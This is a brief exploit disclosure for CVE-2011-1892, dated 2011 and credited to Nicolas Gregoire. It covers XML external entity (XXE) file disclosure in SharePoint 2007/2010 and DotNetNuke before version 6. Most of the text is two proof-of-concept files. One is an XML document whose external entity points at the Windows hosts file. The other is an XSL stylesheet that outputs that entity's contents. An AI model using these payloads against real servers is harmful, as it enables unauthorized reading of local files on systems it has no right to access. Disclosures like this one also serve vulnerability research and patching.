File disclosure via XEE in SharePoint 2007/2010 and DotNetNuke < 6

Exploit Title: File disclosure via XEE in SharePoint and DotNetNuke
Date: September 15, 2011
Author: Nicolas Gregoire
Version: SharePoint 2007 / 2010, DotNetNuke < 6
CVE : CVE-2011-1892

poc filename: xee.xml

<!DOCTYPE doc [
<!ENTITY boom SYSTEM "c:\\windows\\system32\\drivers\\etc\\hosts">
]>
<doc>&boom;</doc>

poc filename: xee.xsl

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
        <xsl:template match="/">
        <xsl:apply-templates/>
                <xsl:value-of select="doc"/>
        </xsl:template>
</xsl:stylesheet>